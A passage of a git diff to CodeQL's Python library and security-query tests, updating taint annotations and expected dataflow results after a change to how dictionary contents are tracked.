b/python/ql/test/library-tests/dataflow/sensitive-data/test.py index 77238a5e1dc..d4a10511030 100644 --- a/python/ql/test/library-tests/dataflow/sensitive-data/test.py +++ b/python/ql/test/library-tests/dataflow/sensitive-data/test.py @@ -131,6 +131,5 @@ from unknown_settings import password # $ SensitiveDataSource=password print(password) # $ SensitiveUse=password _config = {"sleep_timer": 5, "mysql_password": password} -# since we have taint-step from store of `password`, we will consider any item in the -# dictionary to be a password :( -print(_config["sleep_timer"]) # $ SPURIOUS: SensitiveUse=password +# since we have precise dictionary content, other items of the config are not tainted +print(_config["sleep_timer"]) diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py index 41a14e73a27..4ef1572f089 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py @@ -17,7 +17,7 @@ def str_methods(): ts.casefold(), # $ tainted ts.format_map({}), # $ tainted - "{unsafe}".format_map({"unsafe": ts}), # $ tainted + "{unsafe}".format_map({"unsafe": ts}), # $ MISSING: tainted ) diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py index 6c86d1c75d5..73a369c0ece 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py @@ -29,10 +29,10 @@ def test_construction(): ensure_tainted( list(tainted_list), # $ tainted - list(tainted_tuple), # $ tainted + list(tainted_tuple), # $ MISSING: tainted list(tainted_set), # $ tainted - list(tainted_dict.values()), # $ tainted - list(tainted_dict.items()), # $ tainted + list(tainted_dict.values()), # $ MISSING: tainted + list(tainted_dict.items()), # $ MISSING: tainted tuple(tainted_list), # $ tainted set(tainted_list), # $ tainted diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py index 42ac758bfff..58d1c5160c4 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py @@ -115,7 +115,7 @@ def percent_fmt(): ensure_tainted( tainted_fmt % (1, 2), # $ tainted "%s foo bar" % ts, # $ tainted - "%s %s %s" % (1, 2, ts), # $ tainted + "%s %s %s" % (1, 2, ts), # $ MISSING: tainted ) diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_unpacking.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_unpacking.py index d8bfe71dbc4..2816e848470 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_unpacking.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_unpacking.py @@ -53,7 +53,7 @@ def contrived_1(): (a, b, c), (d, e, f) = tainted_list, no_taint_list ensure_tainted(a, b, c) # $ tainted - ensure_not_tainted(d, e, f) # $ SPURIOUS: tainted + ensure_not_tainted(d, e, f) def contrived_2(): diff --git a/python/ql/test/library-tests/frameworks/stdlib/test_re.py b/python/ql/test/library-tests/frameworks/stdlib/test_re.py index 4cfe5d972b7..8ed6f620bfa 100644 --- a/python/ql/test/library-tests/frameworks/stdlib/test_re.py +++ b/python/ql/test/library-tests/frameworks/stdlib/test_re.py @@ -80,9 +80,9 @@ ensure_tainted( ) ensure_not_tainted( - re.subn(pat, repl="safe", string=ts), re.subn(pat, repl="safe", string=ts)[1], # // the number of substitutions made ) ensure_tainted( + re.subn(pat, repl="safe", string=ts), # $ tainted // implicit read at sink re.subn(pat, repl="safe", string=ts)[0], # $ tainted // the string ) diff --git a/python/ql/test/library-tests/frameworks/tornado/taint_test.py b/python/ql/test/library-tests/frameworks/tornado/taint_test.py index 697a9e30af6..7e80186a56f 100644 --- a/python/ql/test/library-tests/frameworks/tornado/taint_test.py +++ b/python/ql/test/library-tests/frameworks/tornado/taint_test.py @@ -63,7 +63,7 @@ class TaintTest(tornado.web.RequestHandler): request.headers["header-name"], # $ tainted request.headers.get_list("header-name"), # $ tainted request.headers.get_all(), # $ tainted - [(k, v) for (k, v) in request.headers.get_all()], # $ tainted + [(k, v) for (k, v) in request.headers.get_all()], # $ MISSING: tainted # Dict[str, http.cookies.Morsel] request.cookies, # $ tainted diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected index a346aef9d22..7776cabb14c 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected @@ -1,3 +1,4 @@ +| hmac.new [**] | 1 | 1 | | hmac.new [keyword msg] | 1 | 1 | | hmac.new [position 1] | 1 | 1 | | unknown.lib.func [keyword kw] | 2 | 1 | diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected index 08a5b798f71..9a49e3cbfe4 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected @@ -15,6 +15,8 @@ edges | test.py:23:16:23:27 | ControlFlowNode for Attribute | test.py:23:16:23:39 | ControlFlowNode for Attribute() | provenance | dict.get | | test.py:23:16:23:39 | ControlFlowNode for Attribute() | test.py:23:5:23:12 | ControlFlowNode for data_raw | provenance | | | test.py:24:5:24:8 | ControlFlowNode for data | test.py:25:44:25:47 | ControlFlowNode for data | provenance | | +| test.py:24:5:24:8 | ControlFlowNode for data | test.py:25:44:25:47 | ControlFlowNode for data | provenance | | +| test.py:25:44:25:47 | ControlFlowNode for data | test.py:25:15:25:74 | SynthDictSplatArgumentNode | provenance | | | test.py:34:5:34:8 | ControlFlowNode for data | test.py:35:10:35:13 | ControlFlowNode for data | provenance | | | test.py:34:5:34:8 | ControlFlowNode for data | test.py:36:13:36:16 | ControlFlowNode for data | provenance | | | test.py:34:12:34:18 | ControlFlowNode for request | test.py:34:12:34:23 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | @@ -45,6 +47,8 @@ nodes | test.py:23:16:23:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:23:16:23:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | test.py:24:5:24:8 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | +| test.py:25:15:25:74 | SynthDictSplatArgumentNode | semmle.label | SynthDictSplatArgumentNode | +| test.py:25:44:25:47 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | | test.py:25:44:25:47 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | | test.py:34:5:34:8 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | | test.py:34:12:34:18 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -68,6 +72,7 @@ nodes subpaths #select | test.py:15:36:15:39 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:15:36:15:39 | ControlFlowNode for data | Call to hmac.new [position 1] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | +| test.py:25:15:25:74 | SynthDictSplatArgumentNode | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:25:15:25:74 | SynthDictSplatArgumentNode | Call to hmac.new [**] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | | test.py:25:44:25:47 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:25:44:25:47 | ControlFlowNode for data | Call to hmac.new [keyword msg] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | | test.py:35:10:35:13 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:35:10:35:13 | ControlFlowNode for data | Call to unknown.lib.func [position 0] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | | test.py:36:13:36:16 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:36:13:36:16 | ControlFlowNode for data | Call to unknown.lib.func [keyword kw] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | diff --git a/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected b/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected index e0321cab12e..961eaac5143 100644 --- a/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected +++ b/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected @@ -7,7 +7,9 @@ edges | test.py:50:29:50:31 | ControlFlowNode for err | test.py:50:16:50:32 | ControlFlowNode for format_error() | provenance | | | test.py:50:29:50:31 | ControlFlowNode for err | test.py:52:18:52:20 | ControlFlowNode for msg | provenance | | | test.py:52:18:52:20 | ControlFlowNode for msg | test.py:53:12:53:27 | ControlFlowNode for BinaryExpr | provenance | | -| test.py:65:25:65:25 | ControlFlowNode for e | test.py:66:24:66:40 | ControlFlowNode for Dict | provenance | | +| test.py:65:25:65:25 | ControlFlowNode for e | test.py:66:34:66:39 | ControlFlowNode for str() | provenance | | +| test.py:66:24:66:40 | ControlFlowNode for Dict [Dictionary element at key error] | test.py:66:24:66:40 | ControlFlowNode for Dict | provenance | | +| test.py:66:34:66:39 | ControlFlowNode for str() | test.py:66:24:66:40 | ControlFlowNode for Dict [Dictionary element at key error] | provenance | | nodes | test.py:16:16:16:37 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | test.py:23:25:23:25 | ControlFlowNode for e | semmle.label | ControlFlowNode for e | @@ -23,6 +25,8 @@ nodes | test.py:53:12:53:27 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | test.py:65:25:65:25 | ControlFlowNode for e | semmle.label | ControlFlowNode for e | | test.py:66:24:66:40 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| test.py:66:24:66:40 | ControlFlowNode for Dict [Dictionary element at key error] | semmle.label | ControlFlowNode for Dict [Dictionary element at key error] | +| test.py:66:34:66:39 | ControlFlowNode for str() | semmle.label | ControlFlowNode for str() | subpaths | test.py:50:29:50:31 | ControlFlowNode for err | test.py:52:18:52:20 | ControlFlowNode for msg | test.py:53:12:53:27 | ControlFlowNode for BinaryExpr | test.py:50:16:50:32 | ControlFlowNode for format_error() | #select diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.expected b/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.expected index 7cb9e015190..5da1b60eee1 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.expected +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.expected @@ -22,8 +22,6 @@ edges | test.py:67:38:67:48 | ControlFlowNode for bank_number | test.py:70:15:70:25 | ControlFlowNode for bank_number | provenance | | | test.py:67:76:67:78 | ControlFlowNode for ccn | test.py:73:15:73:17 | ControlFlowNode for ccn | provenance | | | test.py:67:81:67:88 | ControlFlowNode for user_ccn | test.py:74:15:74:22 | ControlFlowNode for user_ccn | provenance | | -| test.py:101:5:101:10 | ControlFlowNode for config | test.py:105:11:105:31 | ControlFlowNode for Subscript | provenance | | -| test.py:103:21:103:37 | ControlFlowNode for Attribute | test.py:101:5:101:10 | ControlFlowNode for config | provenance | | nodes | test.py:19:5:19:12 | ControlFlowNode for password | semmle.label | ControlFlowNode for password | | test.py:19:16:19:29 | ControlFlowNode for get_password() | semmle.label | ControlFlowNode for get_password() | @@ -68,9 +66,6 @@ nodes | test.py:70:15:70:25 | ControlFlowNode for bank_number | semmle.label | ControlFlowNode for bank_number | | test.py:73:15:73:17 | ControlFlowNode for ccn | semmle.label | ControlFlowNode for ccn | | test.py:74:15:74:22 | ControlFlowNode for user_ccn | semmle.label | ControlFlowNode for user_ccn | -| test.py:101:5:101:10 | ControlFlowNode for config | semmle.label | ControlFlowNode for config | -| test.py:103:21:103:37 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| test.py:105:11:105:31 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | subpaths #select | test.py:20:48:20:55 | ControlFlowNode for password | test.py:19:16:19:29 | ControlFlowNode for get_password() | test.py:20:48:20:55 | ControlFlowNode for password | This expression logs $@ as clear text. | test.py:19:16:19:29 | ControlFlowNode for get_password() | sensitive data (password) | @@ -97,4 +92,3 @@ subpaths | test.py:70:15:70:25 | ControlFlowNode for bank_number | test.py:67:38:67:48 | ControlFlowNode for bank_number | test.py:70:15:70:25 | ControlFlowNode for bank_number | This expression logs $@ as clear text. | test.py:67:38:67:48 | ControlFlowNode for bank_number | sensitive data (private) | | test.py:73:15:73:17 | ControlFlowNode for ccn | test.py:67:76:67:78 | ControlFlowNode for ccn | test.py:73:15:73:17 | ControlFlowNode for ccn | This expression logs $@ as clear text. | test.py:67:76:67:78 | ControlFlowNode for ccn | sensitive data (private) | | test.py:74:15:74:22 | ControlFlowNode for user_ccn | test.py:67:81:67:88 | ControlFlowNode for user_ccn | test.py:74:15:74:22 | ControlFlowNode for user_ccn | This expression logs $@ as clear text. | test.py:67:81:67:88 | ControlFlowNode for user_ccn | sensitive data (private) | -| test.py:105:11:105:31 | ControlFlowNode for Subscript | test.py:103:21:103:37 | ControlFlowNode for Attribute | test.py:105:11:105:31 | ControlFlowNode for Subscript | This expression logs $@ as clear text. | test.py:103:21:103:37 | ControlFlowNode for Attribute | sensitive data (password) | diff --git a/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected b/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected index 0b875607157..5deeefd8920 100644 --- a/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected +++ b/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected @@ -1,5 +1,4 @@ #select -| full_partial_test.py:80:5:80:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:80:18:80:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | | full_partial_test.py:105:5:105:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:105:18:105:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | | full_partial_test.py:112:5:112:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:112:18:112:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | | full_partial_test.py:119:5:119:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:119:18:119:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | @@ -46,7 +45,6 @@ edges | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:41:18:41:24 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:42:17:42:23 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:66:18:66:24 | ControlFlowNode for request | provenance | | -| full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:67:17:67:23 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:83:18:83:24 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:84:17:84:23 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:101:18:101:24 | ControlFlowNode for request | provenance | | @@ -82,14 +80,9 @@ edges | full_partial_test.py:61:5:61:7 | ControlFlowNode for url | full_partial_test.py:63:18:63:20 | ControlFlowNode for url | provenance | | | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | full_partial_test.py:70:5:70:7 | ControlFlowNode for url | provenance | | | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | full_partial_test.py:74:5:74:7 | ControlFlowNode for url | provenance | | -| full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | full_partial_test.py:78:5:78:7 | ControlFlowNode for url | provenance | | | full_partial_test.py:66:18:66:24 | ControlFlowNode for request | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | provenance | AdditionalTaintStep | -| full_partial_test.py:66:18:66:24 | ControlFlowNode for request | full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | provenance | AdditionalTaintStep | -| full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | full_partial_test.py:78:5:78:7 | ControlFlowNode for url | provenance | | -| full_partial_test.py:67:17:67:23 | ControlFlowNode for request | full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | provenance | AdditionalTaintStep | | full_partial_test.py:70:5:70:7 | ControlFlowNode for url | full_partial_test.py:72:18:72:20 | ControlFlowNode for url | provenance | | | full_partial_test.py:74:5:74:7 | ControlFlowNode for url | full_partial_test.py:76:18:76:20 | ControlFlowNode for url | provenance | | -| full_partial_test.py:78:5:78:7 | ControlFlowNode for url | full_partial_test.py:80:18:80:20 | ControlFlowNode for url | provenance | | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | full_partial_test.py:87:5:87:7 | ControlFlowNode for url | provenance | | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | full_partial_test.py:91:5:91:7 | ControlFlowNode for url | provenance | | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | full_partial_test.py:95:5:95:7 | ControlFlowNode for url | provenance | | @@ -267,14 +260,10 @@ nodes | full_partial_test.py:63:18:63:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | semmle.label | ControlFlowNode for user_input | | full_partial_test.py:66:18:66:24 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | -| full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | semmle.label | ControlFlowNode for query_val | -| full_partial_test.py:67:17:67:23 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | full_partial_test.py:70:5:70:7 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:72:18:72:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:74:5:74:7 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:76:18:76:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | -| full_partial_test.py:78:5:78:7 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | -| full_partial_test.py:80:18:80:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | semmle.label | ControlFlowNode for user_input | | full_partial_test.py:83:18:83:24 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | full_partial_test.py:84:5:84:13 | ControlFlowNode for query_val | semmle.label | ControlFlowNode for query_val | @@ -420,3 +409,5 @@ nodes | test_requests.py:20:18:20:24 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | test_requests.py:22:34:22:43 | ControlFlowNode for user_input | semmle.label | ControlFlowNode for user_input | subpaths +testFailures +| full_partial_test.py:80:23:80:80 | Comment # $ Alert[py/partial-ssrf] $ MISSING: Alert[py/full-ssrf] | Missing result: Alert[py/partial-ssrf] | diff --git a/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected b/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected index 810ece4f107..fb8920cf03c 100644 --- a/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected @@ -7,25 +7,39 @@ edges | PoC/server.py:1:26:1:32 | ControlFlowNode for request | PoC/server.py:98:14:98:20 | ControlFlowNode for request | provenance | | | PoC/server.py:26:5:26:17 | ControlFlowNode for author_string | PoC/server.py:27:25:27:37 | ControlFlowNode for author_string | provenance | | | PoC/server.py:26:21:26:27 | ControlFlowNode for request | PoC/server.py:26:5:26:17 | ControlFlowNode for author_string | provenance | AdditionalTaintStep | -| PoC/server.py:27:5:27:10 | ControlFlowNode for author | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict | provenance | | -| PoC/server.py:27:5:27:10 | ControlFlowNode for author | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:27:5:27:10 | ControlFlowNode for author | PoC/server.py:30:38:30:43 | ControlFlowNode for author | provenance | | +| PoC/server.py:27:5:27:10 | ControlFlowNode for author | PoC/server.py:31:45:31:50 | ControlFlowNode for author | provenance | | | PoC/server.py:27:14:27:38 | ControlFlowNode for Attribute() | PoC/server.py:27:5:27:10 | ControlFlowNode for author | provenance | | | PoC/server.py:27:25:27:37 | ControlFlowNode for author_string | PoC/server.py:27:14:27:38 | ControlFlowNode for Attribute() | provenance | Config | +| PoC/server.py:30:27:30:44 | ControlFlowNode for Dict [Dictionary element at key author] | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:30:38:30:43 | ControlFlowNode for author | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict [Dictionary element at key author] | provenance | | +| PoC/server.py:31:34:31:51 | ControlFlowNode for Dict [Dictionary element at key author] | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:31:45:31:50 | ControlFlowNode for author | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict [Dictionary element at key author] | provenance | | | PoC/server.py:43:5:43:10 | ControlFlowNode for author | PoC/server.py:47:38:47:67 | ControlFlowNode for BinaryExpr | provenance | | | PoC/server.py:43:14:43:20 | ControlFlowNode for request | PoC/server.py:43:5:43:10 | ControlFlowNode for author | provenance | AdditionalTaintStep | | PoC/server.py:47:38:47:67 | ControlFlowNode for BinaryExpr | PoC/server.py:47:27:47:68 | ControlFlowNode for Dict | provenance | Config | | PoC/server.py:52:5:52:10 | ControlFlowNode for author | PoC/server.py:54:17:54:70 | ControlFlowNode for BinaryExpr | provenance | | | PoC/server.py:52:14:52:20 | ControlFlowNode for request | PoC/server.py:52:5:52:10 | ControlFlowNode for author | provenance | AdditionalTaintStep | -| PoC/server.py:53:5:53:10 | ControlFlowNode for search | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:53:5:53:10 | ControlFlowNode for search | PoC/server.py:61:51:61:56 | ControlFlowNode for search | provenance | | | PoC/server.py:53:14:57:5 | ControlFlowNode for Dict | PoC/server.py:53:5:53:10 | ControlFlowNode for search | provenance | | | PoC/server.py:54:17:54:70 | ControlFlowNode for BinaryExpr | PoC/server.py:53:14:57:5 | ControlFlowNode for Dict | provenance | Config | +| PoC/server.py:61:27:61:58 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:61:37:61:57 | ControlFlowNode for Dict [Dictionary element at key $function] | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | provenance | | +| PoC/server.py:61:51:61:56 | ControlFlowNode for search | PoC/server.py:61:37:61:57 | ControlFlowNode for Dict [Dictionary element at key $function] | provenance | | | PoC/server.py:77:5:77:10 | ControlFlowNode for author | PoC/server.py:80:23:80:101 | ControlFlowNode for BinaryExpr | provenance | | | PoC/server.py:77:14:77:20 | ControlFlowNode for request | PoC/server.py:77:5:77:10 | ControlFlowNode for author | provenance | AdditionalTaintStep | -| PoC/server.py:78:5:78:15 | ControlFlowNode for accumulator | PoC/server.py:84:5:84:9 | ControlFlowNode for group | provenance | | +| PoC/server.py:78:5:78:15 | ControlFlowNode for accumulator | PoC/server.py:86:37:86:47 | ControlFlowNode for accumulator | provenance | | | PoC/server.py:78:19:83:5 | ControlFlowNode for Dict | PoC/server.py:78:5:78:15 | ControlFlowNode for accumulator | provenance | | | PoC/server.py:80:23:80:101 | ControlFlowNode for BinaryExpr | PoC/server.py:78:19:83:5 | ControlFlowNode for Dict | provenance | Config | -| PoC/server.py:84:5:84:9 | ControlFlowNode for group | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict | provenance | | -| PoC/server.py:84:5:84:9 | ControlFlowNode for group | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:84:5:84:9 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:91:41:91:45 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | +| PoC/server.py:84:5:84:9 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:92:50:92:54 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | +| PoC/server.py:84:13:87:5 | ControlFlowNode for Dict [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:84:5:84:9 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | +| PoC/server.py:86:19:86:49 | ControlFlowNode for Dict [Dictionary element at key $accumulator] | PoC/server.py:84:13:87:5 | ControlFlowNode for Dict [Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | +| PoC/server.py:86:37:86:47 | ControlFlowNode for accumulator | PoC/server.py:86:19:86:49 | ControlFlowNode for Dict [Dictionary element at key $accumulator] | provenance | | +| PoC/server.py:91:29:91:47 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:91:41:91:45 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | +| PoC/server.py:92:38:92:56 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:92:50:92:54 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | | PoC/server.py:98:5:98:10 | ControlFlowNode for author | PoC/server.py:99:5:99:10 | ControlFlowNode for mapper | provenance | | | PoC/server.py:98:14:98:20 | ControlFlowNode for request | PoC/server.py:98:5:98:10 | ControlFlowNode for author | provenance | AdditionalTaintStep | | PoC/server.py:99:5:99:10 | ControlFlowNode for mapper | PoC/server.py:102:9:102:14 | ControlFlowNode for mapper | provenance | | @@ -39,16 +53,20 @@ edges | flask_mongoengine_bad.py:20:30:20:42 | ControlFlowNode for unsafe_search | flask_mongoengine_bad.py:20:19:20:43 | ControlFlowNode for Attribute() | provenance | Config | | flask_mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | flask_mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | provenance | | | flask_mongoengine_bad.py:26:21:26:27 | ControlFlowNode for request | flask_mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| flask_mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict | provenance | | +| flask_mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | flask_mongoengine_bad.py:30:48:30:58 | ControlFlowNode for json_search | provenance | | | flask_mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | flask_mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | provenance | | | flask_mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | flask_mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | provenance | Config | +| flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict [Dictionary element at key name] | flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict | provenance | | +| flask_mongoengine_bad.py:30:48:30:58 | ControlFlowNode for json_search | flask_mongoengine_bad.py:30:39:30:59 | 